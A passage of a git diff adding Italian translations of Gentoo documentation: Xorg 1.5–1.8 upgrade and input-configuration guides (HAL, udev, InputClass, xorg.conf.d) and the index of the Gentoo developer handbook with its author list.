+usare il programma <c>lshal</c> per visualizzare l'albero dei dispositivi di
+HAL e cercare quelli contrassegnati da "input". Il contenuto delle proprie
+regole di HAL dovrebbero essere visibili nell'output di lshal.
+</note>
+
+</body>
+</section>
+<section>
+<title>Con HAL e altri driver (xf86-input-synaptics, linuxwacom, ...)</title>
+<body>
+
+<p>
+In modo predefinito, HAL dirà al server X di usare il driver <c>evdev</c> per
+accedere a tutti i dispositivi di input. Tuttavia è possibile usare tutti i
+driver di input desiderati.
+</p>
+
+<p>
+E' quindi possibile usare HAL per gestire la configurazione di tutti i driver
+di input anche se si usano altri driver di input, come <c>synaptics</c> o
+<c>linuxwacom</c>.
+</p>
+
+<p>
+Si possono trovare ulteriori informazioni su come configurare questi driver a
+questi indirizzi:
+</p>
+
+<ul>
+  <li>
+    <uri>http://cgit.freedesktop.org/xorg/xserver/tree/config/x11-input.fdi</uri>
+  </li>
+  <li>
+    <uri>http://cgit.freedesktop.org/xorg/driver/xf86-input-synaptics/tree/fdi/11-x11-synaptics.fdi</uri>
+  </li>
+  <li>
+     <uri>http://cvs.fedoraproject.org/viewvc/rpms/linuxwacom/F-10/10-linuxwacom.fdi?view=markup</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Senza HAL</title>
+<body>
+
+<p>
+Se non si vuole usare HAL, si può compilare <c>xorg-server</c> con
+<c>USE="-hal"</c> o disabilitare l'opzione AutoAddDevices nella sezione
+ServerFlags del proprio <path>xorg.conf</path>.
+</p>
+
+<pre caption="Disabilitare AutoAddDevices">
+Option      "AutoAddDevices"    "false"
+</pre>
+
+<p>
+Entrambe le opzioni permettono al server X di  usare i vecchi driver
+<c>mouse</c> e <c>kbd</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configurare la scheda grafica</title>
+<section>
+<body>
+
+<p>
+La sezione "Device" dovrebbe funzionare per lo più senza cambiamenti.
+</p>
+
+<p>
+Se si dovessero incontrare problemi, ci sono alcuni azioni da provare:
+</p>
+
+<ul>
+  <li>
+    Provare a commentare tutte le "Options" nelle sezioni "Device", "Screen"
+    e "Monitor" nel proprio xorg.conf
+  </li>
+  <li>
+    Ancora meglio, si può eseguire Xorg senza <e>nessun</e>
+     <path>xorg.conf</path> (rinominarlo in <path>xorg.conf.old</path>)
+  </li>
+</ul>
+
+<p>
+I driver di Xorg sono migliorati di molto nel riconoscere esattamente il tipo di
+hardware installato perciò (eccetto <e>pochi</e> casi speciali) si dovrebbe
+mantenere la configurazione predefinita.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Opzioni varie</title>
+<section>
+<body>
+
+<p>
+La gestione dei font è stata decisamente rivista nella versione di Gentoo di
+Xorg 1.5.3. Il modulo <c>freetype</c> è ora inutile, poiché il server usa
+<c>libXfont</c> per caricare eventuali font per applicazioni datate.
+</p>
+
+<p>
+Per quanto riguarda i font datati, ora sono praticamente inutili, in
+quanto Gentoo fornisce incluso nel server un font fisso che tutte le
+applicazioni e toolkit datati dovrebbero riuscire ad utilizzare. Tuttavia,
+l'aspetto di questo font è tutt'altro che gradevole.
+</p>
+
+<p>
+Xdmx non funziona. Non usarlo a meno di non sapere cosa si fa.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Risoluzione dei problemi</title>
+<section>
+<body>
+
+<p>
+Se si nota un comportamento anomalo del mouse nelle applicazioni che usano SDL
+(di solito giochi), bisogna impostare la seguente opzione in
+<path>xorg.conf</path>:
+</p>
+
+<pre caption="Disabilitare DGA">
+Section "Module"
+       ...
+       SubSection  "extmod"
+         Option    "omit xfree86-dga"
+       EndSubSection
+       ...
+EndSection
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml b/xml/htdocs/proj/it/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml
new file mode 100644
index 00000000..64090a26
--- /dev/null
+++ b/xml/htdocs/proj/it/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml,v 1.1 2009/10/12 19:57:26 scen Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/it/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml"
+lang="it">
+<title>Guida all'Aggiornamento a Xorg 1.6</title>
+
+<author title="Autore">
+  <mail link="remi"/>
+</author>
+<author title="Traduzione">
+  <mail link="richard77@libero.it">Federico Della Ricca</mail>
+</author>
+
+<abstract>
+Questa guida mostra come aggiornare X.org alla versione 1.6.
+</abstract>
+
+<!-- The  content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2009-06-14</date>
+
+<chapter>
+<title>Procedura di aggiornamento</title>
+<section>
+<body>
+
+<p>
+Nell'aggiornare xorg-server è probabile sia necessario aggiornare anche
+<c>libxcb</c>. L'aggiornamento di questa libreria non è così semplice come può
+sembrare, perciò, <uri link="libxcb-1.4-upgrade-guide.xml">libxcb ha una guida
+all'aggiornamento dedicata</uri>.
+</p>
+
+<warn>
+Si raccomanda di leggere e seguire la guida all'aggiornamento di <c>libxcb</c>
+prima di aggiornare xorg-server, o si rischia di danneggiare seriamente il
+proprio sistema.
+</warn>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Opzioni varie</title>
+<section>
+<body>
+
+<p>
+Xorg ora ignora Ctrl-Alt-Backspace in modo predefinito. Se si vuole ripristinare
+lo <e>zapping</e> (sequenza di tasti che termina Xorg, NdT), ci sono un paio di
+possibilità:
+</p>
+
+<ul>
+  <li>
+    Se si usa Gnome, si può usare l'applet Preferenze della tastiera nel menù
+    Sistema -&gt; Preferenze. Nella tab "Disposizioni", fare click su
+    "Opzioni disposizione..." e abilitare "Key sequence to kill the X server".
+    Questa impostazione viene memorizzata in GConf.
+  </li>
+  <li>
+    Se si vuole abilitare lo zapping da riga di comando, basta eseguire
+    <c>setxkbmap -option terminate:ctrl_alt_bksp</c>
+  </li>
+</ul>
+
+<p>
+Se si vuole rendere l'impostazione definitiva, a prescindere dall'ambiente
+grafico utilizzato, ci sono ulteriori possibilità:
+</p>
+
+<ul>
+  <li>
+    Se si usa HAl per gestire i dispositivi di input, copiare la seguente
+    porzione di configurazione fdi nel file fdi fra quelli
+    <path>/etc/hal/fdi/policy/</path> che è usato per controllare la tastiera.
+    <c> &lt;merge key="input.xkb.options"
+    type="string"&gt;terminate:ctrl_alt_bksp&lt;/merge&gt; </c>
+    Se non si utilizzano regole delle tastiera personalizzate, si possono
+    copiare ed adattare le regole da
+    <path>/usr/share/hal/fdi/policy/10osvendor/10-x11-input.fdi</path>
+  </li>
+  <li>
+    Se si utilizza ancora <path>xorg.conf</path> per gestire i dispositivi di
+    input, basta aggiungere la riga seguente alla sezione InputDevice relativa
+    alla tastiera: <c>Option  "XkbOptions" "terminate:ctrl_alt_bksp".</c>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/desktop/x/x11/xorg-server-1.8-upgrade-guide.xml b/xml/htdocs/proj/it/desktop/x/x11/xorg-server-1.8-upgrade-guide.xml
new file mode 100644
index 00000000..79f07387
--- /dev/null
+++ b/xml/htdocs/proj/it/desktop/x/x11/xorg-server-1.8-upgrade-guide.xml
@@ -0,0 +1,267 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/desktop/x/x11/xorg-server-1.8-upgrade-guide.xml,v 1.3 2010/07/03 12:22:40 scen Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide lang="it">
+<title>Guida all'Aggiornamento a Xorg 1.8</title>
+
+<author title="Autore">
+  <mail link="scarabeus"/>
+</author>
+<author title="Redazione">
+  <mail link="remi"/>
+</author>
+<author title="Traduzione">
+  <mail link="ziapannocchia@gmail.com">Marco Clocchiatti</mail>
+</author>
+
+<abstract>
+Questa guida mostra come aggiornare X.org server alla versione 1.8.
+</abstract>
+
+<!-- The  content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2010-04-09</date>
+
+<chapter>
+<title>Nuove Caratteristiche</title>
+<section>
+<body>
+
+<ul>
+  <li>
+    Xorg può riconoscere i dispositivi in input utilizzando udev e rende
+    deprecato l'uso di hal. Gli utenti sono fortemente incoraggiati a migrare
+    verso udev.
+  </li>
+  <li>
+    La configurazione di Xorg è molto più flessibile grazie alla possibilità di
+    associare le opzioni a chiavi di ricerca generiche e agli strumenti di
+    unione di file di configurazione multipli (merging).
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>
+Migrare a udev per gestire il riconoscimento istantaneo dei dispositivi
+</title>
+
+<section>
+<title>Abilitare il supporto ad udev</title>
+<body>
+
+<p>
+L'abilitazione del supporto a udev richiede soltanto di compilare
+<c>xorg-server</c> con <c>USE="udev"</c>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Utilizzo delle chiavi di ricerca</title>
+<body>
+
+<p>
+Adesso che Xorg è capace di ottenere una lista dei dispositi presenti usando
+udev, anziché HAL, il sistema di configurazione di Xorg è stato modificato, per
+risultare più semplice agli utenti e agli sviluppatori che mantengono le
+distribuzioni. Con il sistema di gestione basato su HAL, era necessario
+specificare le proprietà di configurazione dei dispositivi con la sintassi XML
+di HAL (gli infami file <c>.fdi</c>), per definire aspetti come la mappatura
+della tastiera o l'accelerazione del mouse.
+</p>
+
+<p>
+Siccome il trasferimento di queste modalità da HAL a udev è sembrato un'idea
+assolutamente infelice, si è preferito ritornare ad Xorg e rendere la
+configurazione di Xorg più flessibile.
+</p>
+
+<warn>
+Il file di configurazione è collocato in <path>xorg.conf</path> o nei file
+dentro a <path>xorg.conf.d</path>, ma il riconoscimento dei dispositivi viene
+effettuato da udev. Perciò assicurarsi di avere attivato la flag USE
+corrispondente.
+</warn>
+
+<p>
+È stata introdotta una nuova sezione di configurazione, chiamata
+<c>InputClass</c>. È estremamente simile alla sezione <c>InputDevice</c>, ma può
+corrispondere (e perciò configurare) categorie di dispositivi.
+</p>
+
+<p>
+La InputClass opera riconoscendo una o più proprietà dei dispositivi riportati
+da udev, secondo le seguenti chiavi di ricerca:
+</p>
+
+<ul>
+  <li>MatchProduct</li>
+  <li>MatchVendor</li>
+  <li>MatchDevicePath</li>
+  <li>MatchIsKeyboard</li>
+  <li>MatchIsPointer</li>
+  <li>MatchIsJoystick</li>
+  <li>MatchIsTablet</li>
+  <li>MatchIsTouchpad</li>
+  <li>MatchIsTouchscreen</li>
+</ul>
+
+<note>
+MatchDevicePath usa fnmatch(3), se disponibile, per applicare le wildcard sui
+percorsi (es. <c>Option "MatchDevicePath" "/dev/input/event*"</c>).
+</note>
+
+</body>
+</section>
+<section>
+<title>Esempi</title>
+<body>
+
+<pre caption="Configurare tutti i touchpad per l'uso del driver synapctics">
+Section "InputClass"
+	Identifier "synaptics-all"
+	Driver "synaptics"
+	Option "RTCornerButton" "2"
+	Option "HorizEdgeScroll" "true"
+
+	MatchIsTouchpad "on"
+EndSection
+</pre>
+
+<pre caption="Configurare tutte le tastiere con una specifica impostazione">
+Section "InputClass"
+	Identifier "keyboard-all"
+	Driver "evdev"
+	Option "XkbLayout" "us,cz"
+	Option "XkbVariant" ",qwerty"
+	Option "XkbOptions" "grp:alt_shift_toggle,grp:switch,compose:rwin,terminate:ctrl_alt_bksp"
+
+	MatchIsKeyboard "on"
+EndSection
+</pre>
+
+<pre caption="Configurare tutti i mouse con una specifica impostazione">
+Section "InputClass"
+	Identifier "mouse-all"
+	Driver "evdev"
+
+	MatchIsPointer "on"
+EndSection
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>
+Disabilitare il riconoscimento automatico dei dispositivi (hotplugging)
+</title>
+<body>
+
+<p>
+Se non si desidera far uso nè di udev nè di HAL, è possibile compilare
+<c>xorg-server</c> con <c>USE="-udev -hal"</c>, oppure impostare la voce
+AutoAddDevices al valore off nella sezione ServerFlags del proprio
+<path>xorg.conf</path> (o in uno dei file collocati in
+<path>/etc/X11/xorg.conf.d</path>).
+</p>
+
+<pre caption="Impostare AutoDevices ad off">
+Section "ServerFlags"
+    Option "AutoAddDevices" "false"
+EndSection
+</pre>
+
+<p>
+Entrambe le opzioni consentono ad X server di usare i drivers retro-compatibili
+<c>mouse</c> e <c>kdb</c>.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Uso di xorg.conf.d</title>
+<section>
+<title>Scomposizione di xorg.conf</title>
+<body>
+
+<p>
+La cartella <path>xorg.conf.d</path> è una directory addizionale che può
+contenere adattamenti alla configurazione di Xorg, evitando di modificare il
+file principale <path>xorg.conf</path>.
+</p>
+
+<p>
+L'ordine di ereditarietà è molto semplice. Se è presente <path>xorg.conf</path>,
+viene caricato, e successivamente vengono interpretati i file
+<path>xorg.conf.d/**</path>, in ordine alfabetico ASCII (in modo che i numeri
+abbiano la precedenza).
+</p>
+
+<pre caption="esempio di lista per la cartella xorg.conf.d">
+/etc/X11/xorg.conf.d $ ls
+50-ati.conf  96-synaptics.conf  97-evdev.conf
+</pre>
+
+<pre caption="esempio di contenuto per il file 96-synaptics.conf">
+Section "InputDevice"
+	Identifier "touchpad"
+	Driver "synaptics"
+	Option "AutoServerLayout" "on"
+EndSection
+</pre>
+
+<p>
+Com'è possibile osservare, il codice è lo stesso di quello di <c>xorg.conf</c>.
+L'unica aggiunta è la linea <c>"AutoServerLayout option"</c>. Abilitando questa
+opzione, il dispositivo non richiede di essere impostato nella
+<c>sezione ServerLayout</c>.
+</p>
+
+<note>
+La sezione InputClass abilita automaticamente l'opzione <c>AutoServerLayout</c>,
+senza che sia necessario farlo in modo esplicito.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Problemi Noti</title>
+
+<section>
+<title>Sensore Lenovo HDAPS</title>
+<body>
+
+<p>
+Per maggiori informazioni, leggere il
+<uri
+link="http://bugs.freedesktop.org/show_bug.cgi?id=22442">bug upstream</uri>.
+</p>
+
+<pre caption="Disabilitare il driver accelerato HDAPS">
+Section "InputClass"
+	Identifier "ThinkPad HDAPS blacklist"
+	MatchProduct "ThinkPad HDAPS accelerometer data"
+	Option "Ignore" "on"
+EndSection
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/devrel/handbook.xml b/xml/htdocs/proj/it/devrel/handbook.xml
new file mode 100644
index 00000000..0b113383
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook.xml
@@ -0,0 +1,247 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook.xml,v 1.2 2005/03/08 13:46:29 so Exp $ -->
+
+<book link="handbook.xml" lang="it">
+  <title>Manuale per sviluppatori Gentoo</title>
+
+  <!-- Ebuild HOWTO -->
+  <author title="Ebuild HOWTO - Author">
+    Donny Davies<!-- No longer a developer; unknown@... -->
+  </author>
+  <author title="Author">
+    <mail link="pete@gentoo.org">Peter Gavin</mail>
+  </author>
+  <author title="Author">
+    <mail link="karltk@gentoo.org">Karl Trygve Kalleberg</mail>
+  </author>
+  <author title="Author">
+    <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+  </author>
+  <author title="Author/Editor">
+    <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+  </author>
+  <author title="Author/Editor"><!-- zhen@gentoo.org -->
+    John P. Davis
+  </author>
+  <author title="Editor">
+    <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+  </author>
+  <author title="Editor">
+    <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+  </author>
+  <author title="Editor">
+    <mail link="klasikahl@gentoo.org">Zack Gilburd</mail>
+  </author>
+  <author title="Editor">
+    <mail link="bennyc@gentoo.org">Benny Chuang</mail>
+  </author>
+  <author title="Editor">
+    <mail link="erwin@gentoo.org">Erwin</mail>
+  </author>
+
+  <!-- :: EClass HOWTO -->
+
+  <!-- Zhen; mentioned above... -->
+  <author title = "Eclass HOWTO - Author">
+    <mail link="danarmak@gentoo.org">Dan Armak</mail>
+  </author>
+
+  <!-- :: Common mistakes -->
+  
+  <author title="Common Ebuild Mistakes - Author">
+    <mail link="liquidx@gentoo.org">Alastair Tse</mail>
+  </author>
+  
+  <!-- :: Metadata -->
+
+  <!-- SwifT; mentioned above... -->
+  <author title="Metadata Document - Author">
+    <mail link="pauldv@gentoo.org">Paul De Vrieze</mail>
+  </author>
+
+  <!-- Ebuild policy -->
+
+  <!-- drobbins, karltk, liquidx, vapier, SwifT mentioned above... -->
+  <author title="Ebuild Policy - Original Author">Owen Stampflee</author> 
+  <author title="Editor">
+    <mail link="seemant@gentoo.org">Seemant Kulleen</mail>
+  </author> 
+  <author title="Editor">
+    <mail link="avenj@gentoo.org">Jon Portnoy</mail>
+  </author>
+  <author title="Editor">
+    <mail link="carl@gentoo.org">Carl Anderson</mail>
+  </author>
+
+  <author title="Contributor">
+    <mail link="ciaranm@gentoo.org">Ciaran McCreesh</mail>
+  </author>
+
+  <author title="Contributor">
+    <mail link="blackace@gentoo.org">Nicholas D. Wolfwood</mail>
+  </author>
+
+  <author title="Contributor">
+    <mail link="genone@gentoo.org">Marius Mauch</mail>
+  </author>
+
+  <author title="Contributor">
+    <mail link="dragonheart@gentoo.org">Daniel Black</mail>
+  </author>
+
+  <author title="Author/Editor">
+    <mail link="plasmaroo@gentoo.org">Tim Yamin</mail>
+  </author>
+
+  <author title="Editors">
+    Gentoo Developer Relations Team
+  </author>
+
+  <abstract>
+  Questo è il manuale per sviluppatori Gentoo, un lavoro continuno per centralizzare la politica dello sviluppo di Gentoo e delinearne i sistemi e le procedure.
+  </abstract>
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+  <license/>
+
+  <version>1.0.2</version>
+  <date>2004-12-05</date>
+
+  <part>
+    <title>Introduzione</title>
+    <abstract>
+    Questa parte copre aspetti da applicare nella maggior parte delle aree dello sviluppo di Gentoo. Questa sezione è rilevante soltanto se sei uno sviluppatore Gentoo, altrimenti puoi saltarla.
+    </abstract>
+
+    <chapter>
+      <title>Introduzione</title>
+      <abstract>
+      Questa sezione definisce gli scopi del manuale per sviluppatori Gentoo.
+      </abstract>
+      <include href="hb-introduction.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Diventare uno sviluppatore</title>
+      <abstract>
+      Questa sezione mira alla spiegazione di come si possa diventare uno sviluppatore Gentoo.
+      </abstract>
+      <include href="hb-introduction-becoming-a-dev.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Cosa ottieni</title>
+      <abstract>
+      Questa sezione delinea i servizi disponibili agli sviluppatori Gentoo.
+      </abstract>
+      <include href="hb-introduction-whatyouget.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Aiuto per i nuovi sviluppatori</title>
+      <abstract>
+      Questa sezione fornisce aiuti ed istruzioni destinate ai nuovi sviluppatori.
+      </abstract>
+      <include href="hb-introduction-new-devs.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Gerarchia dello sviluppatore</title>
+      <abstract>
+      Questa sezione delinea la gerarchia degli sviluppatori Gentoo e dello sviluppo.
+      </abstract>
+      <include href="hb-introduction-hierachy.xml"/>
+    </chapter>
+  </part>
+
+  <part>
+    <title>Guide</title>
+    <abstract>
+    Questa sezione delinea e spiega diversi processi di sviluppo e descrive gli standard per gli sviluppatori Gentoo.
+    </abstract>
+
+    <chapter>
+      <title>HOWTO su Ebuild</title>
+      <abstract>
+      Questa sezione descrive il sistema del Portage Gentoo Linux, come creare nuovi pacchetti, e questo vuole essere qualcosa come uno standard per gli sviluppatori Gentoo. Questo è un lavoro in processo, ed è costantemente aggiornato e cambiato. Questa sezione non è completa. Devi sempre utilizzare questa sezione in congiunzione con le manpages fornite dal portage (specialmente ebuild(5)) e la Politica dello sviluppo Gentoo Linux.
+      </abstract>
+      <include href="hb-guide-ebuild.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>HOWTO su Eclass</title>
+      <abstract>
+      Questa sezione mira a fornire agli sviluppatori una guida dettagliata su come lavorano le eclasses e come possono essere applicate agli ebuilds.
+      </abstract>
+      <include href="hb-guide-eclass.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Errori comuni negli ebuild</title>
+      <abstract>
+      Questa sezione spiega e mostra gli errori più frequenti fatti da collaboratori e sviluppatori nella scrittura degli ebuild.
+      </abstract>
+      <include href="hb-guide-common-mistakes.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Metadata Gentoo</title>
+      <abstract>
+      Questa sezione spiega l'uso e la necessità di metadata.xml che è utilizzato dal Portage tree.
+      </abstract>
+      <include href="hb-guide-metadata.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>HOWTO sul mantenimento degli Ebuild</title>
+      <abstract>
+      Questa sezione descrive come gli sviluppatori devono svolgere lavori comuni quando aggiornano ebuilds nel Portage tree.
+      </abstract>
+      <include href="hb-guide-ebuild-maintaining.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Guida sulla firma dei Manifest</title>
+      <abstract>
+      Questa sezione descrive come gli sviluppatori possono firmare i Manifest nel Portage tree utilizzando GPG.
+      </abstract>
+      <include href="hb-guide-manifest-signing.xml"/>
+    </chapter>
+  </part>
+
+  <part>
+    <title>Politiche</title>
+    <abstract>
+    Questa parte copre le differenti politiche che ci si aspetta che gli sviluppatori rispettano quando mandano elementi sul CVS.
+    </abstract>
+
+    <chapter>
+      <title>Politica di Ebuild</title>
+      <abstract>
+      Questa sezione delinea la politica che ogni ebuild del Portage deve seguire.
+      </abstract>
+      <include href="hb-policy-ebuild.xml"/>
+    </chapter>
+
+    <chapter>
+      <title>Politica di Etiquette</title>
+      <abstract>
+      Questa sezione delinea la politica di etiquette per gli sviluppatori Gentoo.
+      </abstract>
+      <include href="hb-policy-etiquette.xml"/>
+    </chapter>
+  </part>
+
+<!--
+  <part>
+    <title>Appendix 1: Management</title>
+    <abstract>
+      This part covers managerial policies.
+    </abstract>
+  </part>
+-->
+
+</book>
diff --git a/xml/htdocs/proj/it/devrel/handbook/handbook.xml b/xml/htdocs/proj/it/devrel/handbook/handbook.xml
new file mode 100644
index 00000000..3746e55c
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook/handbook.xml
@@ -0,0 +1,267 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook/handbook.xml,v 1.6 2008/11/05 21:21:13 scen Exp $ -->
+
+<book link="/proj/it/devrel/handbook/handbook.xml" lang="it">
+<title>Manuale per sviluppatori Gentoo</title>
+
+<!-- Author names only -->
+<!-- Thanks for edits but please only add your name if you added content -->
+<!-- Do not list what you worked on as it's all subject to future changes -->
+
+<author title="Autore">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Autore">
+  <mail link="seemant@gentoo.org">Seemant Kulleen</mail>
+</author>
+<author title="Autore">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Autore">
+  <mail link="karltk@gentoo.org">Karl Trygve Kalleberg</mail>
+</author>
+<author title="Autore">
+  <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+</author>
+<author title="Autore">
+  <mail link="liquidx@gentoo.org">Alastair Tse</mail>
+</author>
+<author title="Autore">
+  <mail link="pauldv@gentoo.org">Paul De Vrieze</mail>
+</author>
+<author title ="Autore">
+  <mail link="blackace@gentoo.org">Nicholas D. Wolfwood</mail>
+</author>
+<author title ="Autore">
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+</author>
+<author title ="Autore">
+  <mail link="dragonheart@gentoo.org">Daniel Black</mail>
+</author>
+<author title ="Autore">
+  <mail link="amne@gentoo.org">Wernfried Haas</mail>
+</author>
+<author title ="Autore">
+  <mail link="musikc@gentoo.org">Chrissy Fullam</mail>
+</author>
+<author title ="Autore">
+  <mail link="rane@gentoo.org">Łukasz Damentko</mail>
+</author>
+<author title="Autore">
+  <mail link="drobbins@gentoo.org">Daniel Robbins (Ritirato)</mail>
+</author>
+<author title="Autore">
+  John P. Davis (Ritirato)
+</author>
+<author title="Autore">
+  Tim Yamin (Ritirato)
+</author>
+<author title="Autore">
+  Jorge Paulo (Ritirato)
+</author>
+<author title="Autore">
+  Zack Gilburd (Ritirato)
+</author>
+<author title="Autore">
+  Benny Chuang (Ritirato)
+</author>
+<author title="Autore">
+  Erwin (Ritirato)
+</author>
+<author title="Autore">
+  Jon Portnoy (Ritirato)
+</author>
+<author title="Autore">
+  Carl Anderson (Ritirato)
+</author>
+<author title="Autore">
+  Donny Davies (Ritirato)
+</author>
+<author title="Autore">
+  Peter Gavin (Ritirato)
+</author>
+<author title="Autore">
+  Dan Armak (Ritirato)
+</author>
+<author title="Autore">
+  Owen Stampflee
+</author>
+<author title="Autore">
+  Ciaran McCreesh (Ritirato)
+</author>
+<author title="Traduzione">
+  <mail link="scen@gentoo.org">Davide Cendron</mail>
+</author>
+
+<abstract>
+Questo è il manuale per gli sviluppatori Gentoo, un lavoro continuo per
+centralizzare la politica dello sviluppo di Gentoo e delinearne i sistemi e le
+procedure.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>2</version>
+<date>2008-10-01</date>
+
+<part>
+<title>Introduzione</title>
+<abstract>
+Questa parte copre aspetti da applicare nella maggior parte delle aree dello
+sviluppo di Gentoo. Questa sezione è rilevante soltanto se si è uno sviluppatore
+Gentoo, altrimenti la si può saltare.
+</abstract>
+
+<chapter>
+<title>Introduzione</title>
+<abstract>
+Questa sezione definisce gli scopi del manuale per gli sviluppatori Gentoo.
+</abstract>
+<include href="hb-introduction.xml"/>
+</chapter>
+
+<chapter>
+<title>Diventare uno sviluppatore</title>
+<abstract>
+Questa sezione mira a spiegare come diventare uno sviluppatore Gentoo.
+</abstract>
+<include href="hb-introduction-becoming-a-dev.xml"/>
+</chapter>
+
+<chapter>
+<title>Cosa si ottiene</title>
+<abstract>
+Questa sezione delinea i servizi disponibili agli sviluppatori Gentoo.
+</abstract>
+<include href="hb-introduction-whatyouget.xml"/>
+</chapter>
+
+<chapter>
+<title>Aiuto per i nuovi sviluppatori</title>
+<abstract>
+Questa sezione fornisce aiuto ed istruzioni ai nuovi sviluppatori.
+</abstract>
+<include href="hb-introduction-new-devs.xml"/>
+</chapter>
+
+<chapter>
+<title>Gerarchia degli sviluppatori</title>
+<abstract>
+Questa sezione delinea la gerarchia degli sviluppatori Gentoo e dello sviluppo.
+</abstract>
+<include href="hb-introduction-hierarchy.xml"/>
+</chapter>
+
+<chapter>
+<title>Politica membri dello Staff</title>
+<abstract>
+Questa sezione delinea le politiche di reclutamento e ritiro per i membri dello
+staff di Gentoo.
+</abstract>
+<include href="hb-introduction-staffers.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Guide</title>
+<abstract>
+Questa sezione delinea e spiega diversi processi di sviluppo e descrive gli
+standard per gli sviluppatori Gentoo.
+</abstract>
+
+<chapter>
+<title>Guida agli Ebuild</title>
+<abstract>
+Questa sezione descrive il sistema di Portage Gentoo Linux, come creare nuovi
+pacchetti, ed inoltre vuole essere qualcosa come uno standard per gli
+sviluppatori Gentoo. Questo è un lavoro in corso d'opera, ed è costantemente
+aggiornato e modificato, per cui non è da considerarsi completo. Utilizzare
+sempre questa sezione in congiunzione con le pagine man fornite da portage
+(specialmente ebuild(5)) e la Politica dello Sviluppo di Gentoo Linux.
+</abstract>
+<include href="hb-guide-ebuild.xml"/>
+</chapter>
+
+<chapter>
+<title>Guida alle Eclass</title>
+<abstract>
+Questa sezione mira a fornire agli sviluppatori una guida dettagliata su come
+lavorano le eclass e come possono essere applicate agli ebuild.
+</abstract>
+<include href="hb-guide-eclass.xml"/>
+</chapter>
+
+<chapter>
+<title>Errori comuni negli ebuild</title>
+<abstract>
+Questa sezione spiega e mostra gli errori più frequenti fatti da collaboratori e
+sviluppatori nella scrittura degli ebuild.
+</abstract>
+<include href="hb-guide-common-mistakes.xml"/>
+</chapter>
+
+<chapter>
+<title>Metadata Gentoo</title>
+<abstract>
+Questa sezione spiega l'uso e la necessità di metadata.xml, utilizzato
+all'interno del Portage tree.
+</abstract>
+<include href="hb-guide-metadata.xml"/>
+</chapter>
+
+<chapter>
+<title>Guida sulla manutenzione degli Ebuild</title>
+<abstract>
+Questa sezione descrive come gli sviluppatori debbano svolgere le operazioni
+ordinarie durante la manutenzione degli ebuild nel Portage tree.
+</abstract>
+<include href="hb-guide-ebuild-maintaining.xml"/>
+</chapter>
+
+<chapter>
+<title>Guida sulla firma dei Manifest</title>
+<abstract>
+Questa sezione descrive la possibilità da parte degli sviluppatori di firmare i
+Manifest nel Portage tree utilizzando GPG.
+</abstract>
+<include href="hb-guide-manifest-signing.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Politiche</title>
+<abstract>
+Questa parte copre le differenti politiche che ci si aspetta che gli
+sviluppatori rispettino quando effettuano il commit di elementi su CVS.
+</abstract>
+
+<chapter>
+<title>Politica per gli Ebuild</title>
